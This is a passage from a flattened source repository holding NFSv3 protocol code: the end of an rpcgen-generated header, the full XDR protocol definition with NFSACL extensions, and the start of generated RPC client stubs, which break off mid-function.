xdr_createverf3 (); 1365 | extern bool_t xdr_createhow3 (); 1366 | extern bool_t xdr_CREATE3args (); 1367 | extern bool_t xdr_post_op_fh3 (); 1368 | extern bool_t xdr_CREATE3resok (); 1369 | extern bool_t xdr_CREATE3resfail (); 1370 | extern bool_t xdr_CREATE3res (); 1371 | extern bool_t xdr_REMOVE3args (); 1372 | extern bool_t xdr_REMOVE3resok (); 1373 | extern bool_t xdr_REMOVE3resfail (); 1374 | extern bool_t xdr_REMOVE3res (); 1375 | extern bool_t xdr_READ3args (); 1376 | extern bool_t xdr_READ3resok (); 1377 | extern bool_t xdr_READ3resfail (); 1378 | extern bool_t xdr_READ3res (); 1379 | extern bool_t xdr_FSINFO3args (); 1380 | extern bool_t xdr_FSINFO3resok (); 1381 | extern bool_t xdr_FSINFO3resfail (); 1382 | extern bool_t xdr_FSINFO3res (); 1383 | extern bool_t xdr_FSSTAT3args (); 1384 | extern bool_t xdr_FSSTAT3resok (); 1385 | extern bool_t xdr_FSSTAT3resfail (); 1386 | extern bool_t xdr_FSSTAT3res (); 1387 | extern bool_t xdr_PATHCONF3args (); 1388 | extern bool_t xdr_PATHCONF3resok (); 1389 | extern bool_t xdr_PATHCONF3resfail (); 1390 | extern bool_t xdr_PATHCONF3res (); 1391 | extern bool_t xdr_nfspath3 (); 1392 | extern bool_t xdr_symlinkdata3 (); 1393 | extern bool_t xdr_SYMLINK3args (); 1394 | extern bool_t xdr_SYMLINK3resok (); 1395 | extern bool_t xdr_SYMLINK3resfail (); 1396 | extern bool_t xdr_SYMLINK3res (); 1397 | extern bool_t xdr_READLINK3args (); 1398 | extern bool_t xdr_READLINK3resok (); 1399 | extern bool_t xdr_READLINK3resfail (); 1400 | extern bool_t xdr_READLINK3res (); 1401 | extern bool_t xdr_devicedata3 (); 1402 | extern bool_t xdr_mknoddata3 (); 1403 | extern bool_t xdr_MKNOD3args (); 1404 | extern bool_t xdr_MKNOD3resok (); 1405 | extern bool_t xdr_MKNOD3resfail (); 1406 | extern bool_t xdr_MKNOD3res (); 1407 | extern bool_t xdr_MKDIR3args (); 1408 | extern bool_t xdr_MKDIR3resok (); 1409 | extern bool_t xdr_MKDIR3resfail (); 1410 | extern bool_t xdr_MKDIR3res (); 1411 | extern bool_t xdr_RMDIR3args (); 1412 | extern bool_t xdr_RMDIR3resok (); 1413 | extern bool_t xdr_RMDIR3resfail (); 1414 | extern bool_t xdr_RMDIR3res (); 1415 | extern bool_t xdr_RENAME3args (); 1416 | extern bool_t xdr_RENAME3resok (); 1417 | extern bool_t xdr_RENAME3resfail (); 1418 | extern bool_t xdr_RENAME3res (); 1419 | extern bool_t xdr_READDIRPLUS3args (); 1420 | extern bool_t xdr_entryplus3 (); 1421 | extern bool_t xdr_dirlistplus3 (); 1422 | extern bool_t xdr_READDIRPLUS3resok (); 1423 | extern bool_t xdr_READDIRPLUS3resfail (); 1424 | extern bool_t xdr_READDIRPLUS3res (); 1425 | extern bool_t xdr_READDIR3args (); 1426 | extern bool_t xdr_entry3 (); 1427 | extern bool_t xdr_dirlist3 (); 1428 | extern bool_t xdr_READDIR3resok (); 1429 | extern bool_t xdr_READDIR3resfail (); 1430 | extern bool_t xdr_READDIR3res (); 1431 | extern bool_t xdr_LINK3args (); 1432 | extern bool_t xdr_LINK3resok (); 1433 | extern bool_t xdr_LINK3resfail (); 1434 | extern bool_t xdr_LINK3res (); 1435 | extern bool_t xdr_sattrguard3 (); 1436 | extern bool_t xdr_SETATTR3args (); 1437 | extern bool_t xdr_SETATTR3resok (); 1438 | extern bool_t xdr_SETATTR3resfail (); 1439 | extern bool_t xdr_SETATTR3res (); 1440 | extern bool_t xdr_nfsacl_type (); 1441 | extern bool_t xdr_nfsacl_ace (); 1442 | extern bool_t xdr_GETACL3args (); 1443 | extern bool_t xdr_GETACL3resok (); 1444 | extern bool_t xdr_GETACL3res (); 1445 | extern bool_t xdr_SETACL3args (); 1446 | extern bool_t xdr_SETACL3resok (); 1447 | extern bool_t xdr_SETACL3res (); 1448 | 1449 | #endif /* K&R C */ 1450 | 1451 | #ifdef __cplusplus 1452 | } 1453 | #endif 1454 | 1455 | #endif /* !_NFS_PROT_H_RPCGEN */ 1456 | -------------------------------------------------------------------------------- /nfs_prot.x: -------------------------------------------------------------------------------- 1 | /* NFS part from rfc 1813, NFSACL part is from wireshark sources */ 2 | 3 | const NFS3_FHSIZE = 64; /* Maximum bytes in a V3 file handle */ 4 | const NFS3_WRITEVERFSIZE = 8; 5 | const NFS3_CREATEVERFSIZE = 8; 6 | const NFS3_COOKIEVERFSIZE = 8; 7 | 8 | typedef opaque cookieverf3[NFS3_COOKIEVERFSIZE]; 9 | 10 | /*unsigned hyper can be overridden by giving rpcgen -DU_INT64_PLATTFORM_TYPE=" 11 | where rpcgen doesn't know anything about hyper 12 | default to unsigned hyper as of rfc 1813 */ 13 | #ifndef U_INT64_PLATTFORM_TYPE 14 | #define U_INT64_PLATTFORM_TYPE unsigned hyper 15 | #endif/*U_INT64_PLATTFORM_TYPE*/ 16 | 17 | typedef U_INT64_PLATTFORM_TYPE uint64; 18 | 19 | typedef uint64 cookie3; 20 | 21 | struct nfs_fh3 { 22 | opaque data; 23 | }; 24 | 25 | typedef string filename3<>; 26 | 27 | struct diropargs3 { 28 | nfs_fh3 dir; 29 | filename3 name; 30 | }; 31 | 32 | enum ftype3 { 33 | NF3REG = 1, 34 | NF3DIR = 2, 35 | NF3BLK = 3, 36 | NF3CHR = 4, 37 | NF3LNK = 5, 38 | NF3SOCK = 6, 39 | NF3FIFO = 7 40 | }; 41 | 42 | typedef uint32_t mode3; 43 | 44 | typedef uint32_t uid3; 45 | 46 | typedef uint32_t gid3; 47 | 48 | typedef uint64 size3; 49 | 50 | typedef uint64 fileid3; 51 | 52 | struct specdata3 { 53 | uint32_t specdata1; 54 | uint32_t specdata2; 55 | }; 56 | 57 | struct nfstime3 { 58 | uint32_t seconds; 59 | uint32_t nseconds; 60 | }; 61 | 62 | struct fattr3 { 63 | ftype3 type; 64 | mode3 mode; 65 | uint32_t nlink; 66 | uid3 uid; 67 | gid3 gid; 68 | size3 size; 69 | size3 used; 70 | specdata3 rdev; 71 | uint64 fsid; 72 | fileid3 fileid; 73 | nfstime3 atime; 74 | nfstime3 mtime; 75 | nfstime3 ctime; 76 | }; 77 | 78 | union post_op_attr switch (bool attributes_follow) { 79 | case TRUE: 80 | fattr3 attributes; 81 | case FALSE: 82 | void; 83 | }; 84 | 85 | 86 | enum nfsstat3 { 87 | NFS3_OK = 0, 88 | NFS3ERR_PERM = 1, 89 | NFS3ERR_NOENT = 2, 90 | NFS3ERR_IO = 5, 91 | NFS3ERR_NXIO = 6, 92 | NFS3ERR_ACCES = 13, 93 | NFS3ERR_EXIST = 17, 94 | NFS3ERR_XDEV = 18, 95 | NFS3ERR_NODEV = 19, 96 | NFS3ERR_NOTDIR = 20, 97 | NFS3ERR_ISDIR = 21, 98 | NFS3ERR_INVAL = 22, 99 | NFS3ERR_FBIG = 27, 100 | NFS3ERR_NOSPC = 28, 101 | NFS3ERR_ROFS = 30, 102 | NFS3ERR_MLINK = 31, 103 | NFS3ERR_NAMETOOLONG = 63, 104 | NFS3ERR_NOTEMPTY = 66, 105 | NFS3ERR_DQUOT = 69, 106 | NFS3ERR_STALE = 70, 107 | NFS3ERR_REMOTE = 71, 108 | NFS3ERR_BADHANDLE = 10001, 109 | NFS3ERR_NOT_SYNC = 10002, 110 | NFS3ERR_BAD_COOKIE = 10003, 111 | NFS3ERR_NOTSUPP = 10004, 112 | NFS3ERR_TOOSMALL = 10005, 113 | NFS3ERR_SERVERFAULT = 10006, 114 | NFS3ERR_BADTYPE = 10007, 115 | NFS3ERR_JUKEBOX = 10008 116 | }; 117 | 118 | enum stable_how { 119 | UNSTABLE = 0, 120 | DATA_SYNC = 1, 121 | FILE_SYNC = 2 122 | }; 123 | 124 | typedef uint64 offset3; 125 | 126 | typedef uint32_t count3; 127 | 128 | struct wcc_attr { 129 | size3 size; 130 | nfstime3 mtime; 131 | nfstime3 ctime; 132 | }; 133 | 134 | union pre_op_attr switch (bool attributes_follow) { 135 | case TRUE: 136 | wcc_attr attributes; 137 | case FALSE: 138 | void; 139 | }; 140 | 141 | struct wcc_data { 142 | pre_op_attr before; 143 | post_op_attr after; 144 | }; 145 | 146 | struct WRITE3args { 147 | nfs_fh3 file; 148 | offset3 offset; 149 | count3 count; 150 | stable_how stable; 151 | opaque data<>; 152 | }; 153 | 154 | typedef opaque writeverf3[NFS3_WRITEVERFSIZE]; 155 | 156 | struct WRITE3resok { 157 | wcc_data file_wcc; 158 | count3 count; 159 | stable_how committed; 160 | writeverf3 verf; 161 | }; 162 | 163 | struct WRITE3resfail { 164 | wcc_data file_wcc; 165 | }; 166 | 167 | union WRITE3res switch (nfsstat3 status) { 168 | case NFS3_OK: 169 | WRITE3resok resok; 170 | default: 171 | WRITE3resfail resfail; 172 | }; 173 | 174 | struct LOOKUP3args { 175 | diropargs3 what; 176 | }; 177 | 178 | struct LOOKUP3resok { 179 | nfs_fh3 object; 180 | post_op_attr obj_attributes; 181 | post_op_attr dir_attributes; 182 | }; 183 | 184 | struct LOOKUP3resfail { 185 | post_op_attr dir_attributes; 186 | }; 187 | 188 | 189 | 190 | union LOOKUP3res switch (nfsstat3 status) { 191 | case NFS3_OK: 192 | LOOKUP3resok resok; 193 | default: 194 | LOOKUP3resfail resfail; 195 | }; 196 | 197 | struct COMMIT3args { 198 | nfs_fh3 file; 199 | offset3 offset; 200 | count3 count; 201 | }; 202 | 203 | struct COMMIT3resok { 204 | wcc_data file_wcc; 205 | writeverf3 verf; 206 | }; 207 | 208 | struct COMMIT3resfail { 209 | wcc_data file_wcc; 210 | }; 211 | 212 | union COMMIT3res switch (nfsstat3 status) { 213 | case NFS3_OK: 214 | COMMIT3resok resok; 215 | default: 216 | COMMIT3resfail resfail; 217 | }; 218 | 219 | const ACCESS3_READ = 0x0001; 220 | const ACCESS3_LOOKUP = 0x0002; 221 | const ACCESS3_MODIFY = 0x0004; 222 | const ACCESS3_EXTEND = 0x0008; 223 | const ACCESS3_DELETE = 0x0010; 224 | const ACCESS3_EXECUTE = 0x0020; 225 | 226 | struct ACCESS3args { 227 | nfs_fh3 object; 228 | uint32_t access; 229 | }; 230 | 231 | struct ACCESS3resok { 232 | post_op_attr obj_attributes; 233 | uint32_t access; 234 | }; 235 | 236 | struct ACCESS3resfail { 237 | post_op_attr obj_attributes; 238 | }; 239 | 240 | union ACCESS3res switch (nfsstat3 status) { 241 | case NFS3_OK: 242 | ACCESS3resok resok; 243 | default: 244 | ACCESS3resfail resfail; 245 | }; 246 | 247 | struct GETATTR3args { 248 | nfs_fh3 object; 249 | }; 250 | 251 | struct GETATTR3resok { 252 | fattr3 obj_attributes; 253 | }; 254 | 255 | union GETATTR3res switch (nfsstat3 status) { 256 | case NFS3_OK: 257 | GETATTR3resok resok; 258 | default: 259 | void; 260 | }; 261 | 262 | 263 | 264 | enum time_how { 265 | DONT_CHANGE = 0, 266 | SET_TO_SERVER_TIME = 1, 267 | SET_TO_CLIENT_TIME = 2 268 | }; 269 | 270 | union set_mode3 switch (bool set_it) { 271 | case TRUE: 272 | mode3 mode; 273 | default: 274 | void; 275 | }; 276 | 277 | union set_uid3 switch (bool set_it) { 278 | case TRUE: 279 | uid3 uid; 280 | default: 281 | void; 282 | }; 283 | 284 | union set_gid3 switch (bool set_it) { 285 | case TRUE: 286 | gid3 gid; 287 | default: 288 | void; 289 | }; 290 | 291 | union set_size3 switch (bool set_it) { 292 | case TRUE: 293 | size3 size; 294 | default: 295 | void; 296 | }; 297 | 298 | union set_atime switch (time_how set_it) { 299 | case SET_TO_CLIENT_TIME: 300 | nfstime3 atime; 301 | default: 302 | void; 303 | }; 304 | 305 | union set_mtime switch (time_how set_it) { 306 | case SET_TO_CLIENT_TIME: 307 | nfstime3 mtime; 308 | default: 309 | void; 310 | }; 311 | 312 | struct sattr3 { 313 | set_mode3 mode; 314 | set_uid3 uid; 315 | set_gid3 gid; 316 | set_size3 size; 317 | set_atime atime; 318 | set_mtime mtime; 319 | }; 320 | 321 | enum createmode3 { 322 | UNCHECKED = 0, 323 | GUARDED = 1, 324 | EXCLUSIVE = 2 325 | }; 326 | 327 | 328 | typedef opaque createverf3[NFS3_CREATEVERFSIZE]; 329 | 330 | union createhow3 switch (createmode3 mode) { 331 | case UNCHECKED: 332 | sattr3 obj_attributes; 333 | case GUARDED: 334 | sattr3 g_obj_attributes; 335 | case EXCLUSIVE: 336 | createverf3 verf; 337 | }; 338 | 339 | struct CREATE3args { 340 | diropargs3 where; 341 | createhow3 how; 342 | }; 343 | 344 | union post_op_fh3 switch (bool handle_follows) { 345 | case TRUE: 346 | nfs_fh3 handle; 347 | case FALSE: 348 | void; 349 | }; 350 | 351 | struct CREATE3resok { 352 | post_op_fh3 obj; 353 | post_op_attr obj_attributes; 354 | wcc_data dir_wcc; 355 | }; 356 | 357 | struct CREATE3resfail { 358 | wcc_data dir_wcc; 359 | }; 360 | 361 | union CREATE3res switch (nfsstat3 status) { 362 | case NFS3_OK: 363 | CREATE3resok resok; 364 | default: 365 | CREATE3resfail resfail; 366 | }; 367 | 368 | struct REMOVE3args { 369 | diropargs3 object; 370 | }; 371 | 372 | struct REMOVE3resok { 373 | wcc_data dir_wcc; 374 | }; 375 | 376 | struct REMOVE3resfail { 377 | wcc_data dir_wcc; 378 | }; 379 | 380 | union REMOVE3res switch (nfsstat3 status) { 381 | case NFS3_OK: 382 | REMOVE3resok resok; 383 | default: 384 | REMOVE3resfail resfail; 385 | }; 386 | 387 | struct READ3args { 388 | nfs_fh3 file; 389 | offset3 offset; 390 | count3 count; 391 | }; 392 | 393 | struct READ3resok { 394 | post_op_attr file_attributes; 395 | count3 count; 396 | bool eof; 397 | opaque data<>; 398 | }; 399 | 400 | struct READ3resfail { 401 | post_op_attr file_attributes; 402 | }; 403 | 404 | union READ3res switch (nfsstat3 status) { 405 | case NFS3_OK: 406 | READ3resok resok; 407 | default: 408 | READ3resfail resfail; 409 | }; 410 | 411 | 412 | const FSF3_LINK = 0x0001; 413 | const FSF3_SYMLINK = 0x0002; 414 | const FSF3_HOMOGENEOUS = 0x0008; 415 | const FSF3_CANSETTIME = 0x0010; 416 | 417 | struct FSINFO3args { 418 | nfs_fh3 fsroot; 419 | }; 420 | 421 | struct FSINFO3resok { 422 | post_op_attr obj_attributes; 423 | uint32_t rtmax; 424 | uint32_t rtpref; 425 | uint32_t rtmult; 426 | uint32_t wtmax; 427 | uint32_t wtpref; 428 | uint32_t wtmult; 429 | uint32_t dtpref; 430 | size3 maxfilesize; 431 | nfstime3 time_delta; 432 | uint32_t properties; 433 | }; 434 | 435 | struct FSINFO3resfail { 436 | post_op_attr obj_attributes; 437 | }; 438 | 439 | union FSINFO3res switch (nfsstat3 status) { 440 | case NFS3_OK: 441 | FSINFO3resok resok; 442 | default: 443 | FSINFO3resfail resfail; 444 | }; 445 | 446 | 447 | struct FSSTAT3args { 448 | nfs_fh3 fsroot; 449 | }; 450 | 451 | struct FSSTAT3resok { 452 | post_op_attr obj_attributes; 453 | size3 tbytes; 454 | size3 fbytes; 455 | size3 abytes; 456 | size3 tfiles; 457 | size3 ffiles; 458 | size3 afiles; 459 | uint32_t invarsec; 460 | }; 461 | 462 | struct FSSTAT3resfail { 463 | post_op_attr obj_attributes; 464 | }; 465 | 466 | union FSSTAT3res switch (nfsstat3 status) { 467 | case NFS3_OK: 468 | FSSTAT3resok resok; 469 | default: 470 | FSSTAT3resfail resfail; 471 | }; 472 | 473 | struct PATHCONF3args { 474 | nfs_fh3 object; 475 | }; 476 | 477 | struct PATHCONF3resok { 478 | post_op_attr obj_attributes; 479 | uint32_t linkmax; 480 | uint32_t name_max; 481 | bool no_trunc; 482 | bool chown_restricted; 483 | bool case_insensitive; 484 | bool case_preserving; 485 | }; 486 | 487 | struct PATHCONF3resfail { 488 | post_op_attr obj_attributes; 489 | }; 490 | 491 | union PATHCONF3res switch (nfsstat3 status) { 492 | case NFS3_OK: 493 | PATHCONF3resok resok; 494 | default: 495 | PATHCONF3resfail resfail; 496 | }; 497 | 498 | typedef string nfspath3<>; 499 | 500 | struct symlinkdata3 { 501 | sattr3 symlink_attributes; 502 | nfspath3 symlink_data; 503 | }; 504 | 505 | struct SYMLINK3args { 506 | diropargs3 where; 507 | symlinkdata3 symlink; 508 | }; 509 | 510 | struct SYMLINK3resok { 511 | post_op_fh3 obj; 512 | post_op_attr obj_attributes; 513 | wcc_data dir_wcc; 514 | }; 515 | 516 | struct SYMLINK3resfail { 517 | wcc_data dir_wcc; 518 | }; 519 | 520 | union SYMLINK3res switch (nfsstat3 status) { 521 | case NFS3_OK: 522 | SYMLINK3resok resok; 523 | default: 524 | SYMLINK3resfail resfail; 525 | }; 526 | 527 | 528 | struct READLINK3args { 529 | nfs_fh3 symlink; 530 | }; 531 | 532 | struct READLINK3resok { 533 | post_op_attr symlink_attributes; 534 | nfspath3 data; 535 | }; 536 | 537 | struct READLINK3resfail { 538 | post_op_attr symlink_attributes; 539 | }; 540 | 541 | union READLINK3res switch (nfsstat3 status) { 542 | case NFS3_OK: 543 | READLINK3resok resok; 544 | default: 545 | READLINK3resfail resfail; 546 | }; 547 | 548 | 549 | struct devicedata3 { 550 | sattr3 dev_attributes; 551 | specdata3 spec; 552 | }; 553 | 554 | union mknoddata3 switch (ftype3 type) { 555 | case NF3CHR: 556 | devicedata3 chr_device; 557 | case NF3BLK: 558 | devicedata3 blk_device; 559 | case NF3SOCK: 560 | sattr3 sock_attributes; 561 | case NF3FIFO: 562 | sattr3 pipe_attributes; 563 | default: 564 | void; 565 | }; 566 | 567 | struct MKNOD3args { 568 | diropargs3 where; 569 | mknoddata3 what; 570 | }; 571 | 572 | struct MKNOD3resok { 573 | post_op_fh3 obj; 574 | post_op_attr obj_attributes; 575 | wcc_data dir_wcc; 576 | }; 577 | 578 | struct MKNOD3resfail { 579 | wcc_data dir_wcc; 580 | }; 581 | 582 | union MKNOD3res switch (nfsstat3 status) { 583 | case NFS3_OK: 584 | MKNOD3resok resok; 585 | default: 586 | MKNOD3resfail resfail; 587 | }; 588 | 589 | 590 | struct MKDIR3args { 591 | diropargs3 where; 592 | sattr3 attributes; 593 | }; 594 | 595 | struct MKDIR3resok { 596 | post_op_fh3 obj; 597 | post_op_attr obj_attributes; 598 | wcc_data dir_wcc; 599 | }; 600 | 601 | struct MKDIR3resfail { 602 | wcc_data dir_wcc; 603 | }; 604 | 605 | union MKDIR3res switch (nfsstat3 status) { 606 | case NFS3_OK: 607 | MKDIR3resok resok; 608 | default: 609 | MKDIR3resfail resfail; 610 | }; 611 | 612 | struct RMDIR3args { 613 | diropargs3 object; 614 | }; 615 | 616 | struct RMDIR3resok { 617 | wcc_data dir_wcc; 618 | }; 619 | 620 | struct RMDIR3resfail { 621 | wcc_data dir_wcc; 622 | }; 623 | 624 | union RMDIR3res switch (nfsstat3 status) { 625 | case NFS3_OK: 626 | RMDIR3resok resok; 627 | default: 628 | RMDIR3resfail resfail; 629 | }; 630 | 631 | struct RENAME3args { 632 | diropargs3 from; 633 | diropargs3 to; 634 | }; 635 | 636 | struct RENAME3resok { 637 | wcc_data fromdir_wcc; 638 | wcc_data todir_wcc; 639 | }; 640 | 641 | struct RENAME3resfail { 642 | wcc_data fromdir_wcc; 643 | wcc_data todir_wcc; 644 | }; 645 | 646 | union RENAME3res switch (nfsstat3 status) { 647 | case NFS3_OK: 648 | RENAME3resok resok; 649 | default: 650 | RENAME3resfail resfail; 651 | }; 652 | 653 | struct READDIRPLUS3args { 654 | nfs_fh3 dir; 655 | cookie3 cookie; 656 | cookieverf3 cookieverf; 657 | count3 dircount; 658 | count3 maxcount; 659 | }; 660 | 661 | struct entryplus3 { 662 | fileid3 fileid; 663 | filename3 name; 664 | cookie3 cookie; 665 | post_op_attr name_attributes; 666 | post_op_fh3 name_handle; 667 | entryplus3 *nextentry; 668 | }; 669 | 670 | struct dirlistplus3 { 671 | entryplus3 *entries; 672 | bool eof; 673 | }; 674 | 675 | struct READDIRPLUS3resok { 676 | post_op_attr dir_attributes; 677 | cookieverf3 cookieverf; 678 | dirlistplus3 reply; 679 | }; 680 | 681 | 682 | struct READDIRPLUS3resfail { 683 | post_op_attr dir_attributes; 684 | }; 685 | 686 | union READDIRPLUS3res switch (nfsstat3 status) { 687 | case NFS3_OK: 688 | READDIRPLUS3resok resok; 689 | default: 690 | READDIRPLUS3resfail resfail; 691 | }; 692 | 693 | struct READDIR3args { 694 | nfs_fh3 dir; 695 | cookie3 cookie; 696 | cookieverf3 cookieverf; 697 | count3 count; 698 | }; 699 | 700 | 701 | struct entry3 { 702 | fileid3 fileid; 703 | filename3 name; 704 | cookie3 cookie; 705 | entry3 *nextentry; 706 | }; 707 | 708 | struct dirlist3 { 709 | entry3 *entries; 710 | bool eof; 711 | }; 712 | 713 | struct READDIR3resok { 714 | post_op_attr dir_attributes; 715 | cookieverf3 cookieverf; 716 | dirlist3 reply; 717 | }; 718 | 719 | struct READDIR3resfail { 720 | post_op_attr dir_attributes; 721 | }; 722 | 723 | union READDIR3res switch (nfsstat3 status) { 724 | case NFS3_OK: 725 | READDIR3resok resok; 726 | default: 727 | READDIR3resfail resfail; 728 | }; 729 | 730 | struct LINK3args { 731 | nfs_fh3 file; 732 | diropargs3 link; 733 | }; 734 | 735 | struct LINK3resok { 736 | post_op_attr file_attributes; 737 | wcc_data linkdir_wcc; 738 | }; 739 | 740 | struct LINK3resfail { 741 | post_op_attr file_attributes; 742 | wcc_data linkdir_wcc; 743 | }; 744 | 745 | union LINK3res switch (nfsstat3 status) { 746 | case NFS3_OK: 747 | LINK3resok resok; 748 | default: 749 | LINK3resfail resfail; 750 | }; 751 | 752 | union sattrguard3 switch (bool check) { 753 | case TRUE: 754 | nfstime3 obj_ctime; 755 | case FALSE: 756 | void; 757 | }; 758 | 759 | struct SETATTR3args { 760 | nfs_fh3 object; 761 | sattr3 new_attributes; 762 | sattrguard3 guard; 763 | }; 764 | 765 | struct SETATTR3resok { 766 | wcc_data obj_wcc; 767 | }; 768 | 769 | struct SETATTR3resfail { 770 | wcc_data obj_wcc; 771 | }; 772 | 773 | union SETATTR3res switch (nfsstat3 status) { 774 | case NFS3_OK: 775 | SETATTR3resok resok; 776 | default: 777 | SETATTR3resfail resfail; 778 | }; 779 | 780 | program NFS_PROGRAM { 781 | version NFS_V3 { 782 | void 783 | NFS3_NULL(void) = 0; 784 | 785 | GETATTR3res 786 | NFS3_GETATTR(GETATTR3args) = 1; 787 | 788 | SETATTR3res 789 | NFS3_SETATTR(SETATTR3args) = 2; 790 | 791 | LOOKUP3res 792 | NFS3_LOOKUP(LOOKUP3args) = 3; 793 | 794 | ACCESS3res 795 | NFS3_ACCESS(ACCESS3args) = 4; 796 | 797 | READLINK3res 798 | NFS3_READLINK(READLINK3args) = 5; 799 | 800 | READ3res 801 | NFS3_READ(READ3args) = 6; 802 | 803 | WRITE3res 804 | NFS3_WRITE(WRITE3args) = 7; 805 | 806 | CREATE3res 807 | NFS3_CREATE(CREATE3args) = 8; 808 | 809 | MKDIR3res 810 | NFS3_MKDIR(MKDIR3args) = 9; 811 | 812 | SYMLINK3res 813 | NFS3_SYMLINK(SYMLINK3args) = 10; 814 | 815 | MKNOD3res 816 | NFS3_MKNOD(MKNOD3args) = 11; 817 | 818 | REMOVE3res 819 | NFS3_REMOVE(REMOVE3args) = 12; 820 | 821 | RMDIR3res 822 | NFS3_RMDIR(RMDIR3args) = 13; 823 | 824 | RENAME3res 825 | NFS3_RENAME(RENAME3args) = 14; 826 | 827 | LINK3res 828 | NFS3_LINK(LINK3args) = 15; 829 | 830 | READDIR3res 831 | NFS3_READDIR(READDIR3args) = 16; 832 | 833 | READDIRPLUS3res 834 | NFS3_READDIRPLUS(READDIRPLUS3args) = 17; 835 | 836 | FSSTAT3res 837 | NFS3_FSSTAT(FSSTAT3args) = 18; 838 | 839 | FSINFO3res 840 | NFS3_FSINFO(FSINFO3args) = 19; 841 | 842 | PATHCONF3res 843 | NFS3_PATHCONF(PATHCONF3args) = 20; 844 | 845 | COMMIT3res 846 | NFS3_COMMIT(COMMIT3args) = 21; 847 | } = 3; 848 | } = 100003; 849 | 850 | 851 | 852 | /* NFS ACL definitions based on wireshark souces and network traces */ 853 | /* NFSACL interface. Uses same port/process as NFS */ 854 | 855 | enum nfsacl_type { 856 | NFSACL_TYPE_USER_OBJ = 0x0001, 857 | NFSACL_TYPE_USER = 0x0002, 858 | NFSACL_TYPE_GROUP_OBJ = 0x0004, 859 | NFSACL_TYPE_GROUP = 0x0008, 860 | NFSACL_TYPE_CLASS_OBJ = 0x0010, 861 | NFSACL_TYPE_CLASS = 0x0020, 862 | NFSACL_TYPE_DEFAULT = 0x1000, 863 | NFSACL_TYPE_DEFAULT_USER_OBJ = 0x1001, 864 | NFSACL_TYPE_DEFAULT_USER = 0x1002, 865 | NFSACL_TYPE_DEFAULT_GROUP_OBJ = 0x1004, 866 | NFSACL_TYPE_DEFAULT_GROUP = 0x1008, 867 | NFSACL_TYPE_DEFAULT_CLASS_OBJ = 0x1010, 868 | NFSACL_TYPE_DEFAULT_OTHER_OBJ = 0x1020 869 | }; 870 | 871 | const NFSACL_PERM_READ = 0x04; 872 | const NFSACL_PERM_WRITE = 0x02; 873 | const NFSACL_PERM_EXEC = 0x01; 874 | 875 | struct nfsacl_ace { 876 | enum nfsacl_type type; 877 | unsigned int id; 878 | unsigned int perm; 879 | }; 880 | 881 | const NFSACL_MASK_ACL_ENTRY = 0x0001; 882 | const NFSACL_MASK_ACL_COUNT = 0x0002; 883 | const NFSACL_MASK_ACL_DEFAULT_ENTRY = 0x0004; 884 | const NFSACL_MASK_ACL_DEFAULT_COUNT = 0x0008; 885 | 886 | struct GETACL3args { 887 | nfs_fh3 dir; 888 | unsigned int mask; 889 | }; 890 | 891 | struct GETACL3resok { 892 | post_op_attr attr; 893 | unsigned int mask; 894 | unsigned int ace_count; 895 | struct nfsacl_ace ace<>; 896 | unsigned int default_ace_count; 897 | struct nfsacl_ace default_ace<>; 898 | }; 899 | 900 | union GETACL3res switch (nfsstat3 status) { 901 | case NFS3_OK: 902 | GETACL3resok resok; 903 | default: 904 | void; 905 | }; 906 | 907 | struct SETACL3args { 908 | nfs_fh3 dir; 909 | unsigned int mask; 910 | unsigned int ace_count; 911 | struct nfsacl_ace ace<>; 912 | unsigned int default_ace_count; 913 | struct nfsacl_ace default_ace<>; 914 | }; 915 | 916 | struct SETACL3resok { 917 | post_op_attr attr; 918 | }; 919 | 920 | union SETACL3res switch (nfsstat3 status) { 921 | case NFS3_OK: 922 | SETACL3resok resok; 923 | default: 924 | void; 925 | }; 926 | 927 | program NFSACL_PROGRAM { 928 | version NFSACL_V3 { 929 | void 930 | NFSACL3_NULL(void) = 0; 931 | 932 | GETACL3res 933 | NFSACL3_GETACL(GETACL3args) = 1; 934 | 935 | SETACL3res 936 | NFSACL3_SETACL(SETACL3args) = 2; 937 | } = 3; 938 | } = 100227; 939 | -------------------------------------------------------------------------------- /nfs_prot_clnt.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include /* for memset */ 7 | #include "nfs_prot.h" 8 | 9 | /* Default timeout can be changed using clnt_control() */ 10 | static struct timeval TIMEOUT = { 25, 0 }; 11 | 12 | void * 13 | nfs3_null_3(void *argp, CLIENT *clnt) 14 | { 15 | static char clnt_res; 16 | 17 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 18 | if (clnt_call (clnt, NFS3_NULL, 19 | (xdrproc_t) xdr_void, (caddr_t) argp, 20 | (xdrproc_t) xdr_void, (caddr_t) &clnt_res, 21 | TIMEOUT) != RPC_SUCCESS) { 22 | return (NULL); 23 | } 24 | return ((void *)&clnt_res); 25 | } 26 | 27 | GETATTR3res * 28 | nfs3_getattr_3(GETATTR3args *argp, CLIENT *clnt) 29 | { 30 | static GETATTR3res clnt_res; 31 | 32 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 33 | if (clnt_call (clnt, NFS3_GETATTR, 34 | (xdrproc_t) xdr_GETATTR3args, (caddr_t) argp, 35 | (xdrproc_t) xdr_GETATTR3res, (caddr_t) &clnt_res, 36 | TIMEOUT) != RPC_SUCCESS) { 37 | return (NULL); 38 | } 39 | return (&clnt_res); 40 | } 41 | 42 | SETATTR3res * 43 | nfs3_setattr_3(SETATTR3args *argp, CLIENT *clnt) 44 | { 45 | static SETATTR3res clnt_res; 46 | 47 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 48 | if (clnt_call (clnt, NFS3_SETATTR, 49 | (xdrproc_t) xdr_SETATTR3args, (caddr_t) argp, 50 | (xdrproc_t) xdr_SETATTR3res, (caddr_t) &clnt_res, 51 | TIMEOUT) != RPC_SUCCESS) { 52 | return (NULL); 53 | } 54 | return (&clnt_res); 55 | } 56 | 57 | LOOKUP3res * 58 | nfs3_lookup_3(LOOKUP3args *argp, CLIENT *clnt) 59 | { 60 | static LOOKUP3res clnt_res; 61 | 62 | memset((char *)&clnt_res, 0, sizeof(clnt_res)); 63 | if (clnt_call (clnt, NFS3_LOOKUP, 64 | (xdrproc_t) xdr_LOOKUP3args, (caddr_t) argp, 65 | (xdrproc_t) xdr_LOOKUP3res, (caddr_t) &clnt_res, 66 | TIMEOUT) != RPC_SUCCESS) { 67 | return (NULL); 68 | } 69 | return (&clnt_res); 70 | } 71 | 72 | ACCESS3res * 73 | nfs3_access_3(ACCESS3args *argp, CLIENT *clnt) 74 | { 75 | static ACCESS3res clnt_res; 76 | 77 | memset((char *)&clnt_res, 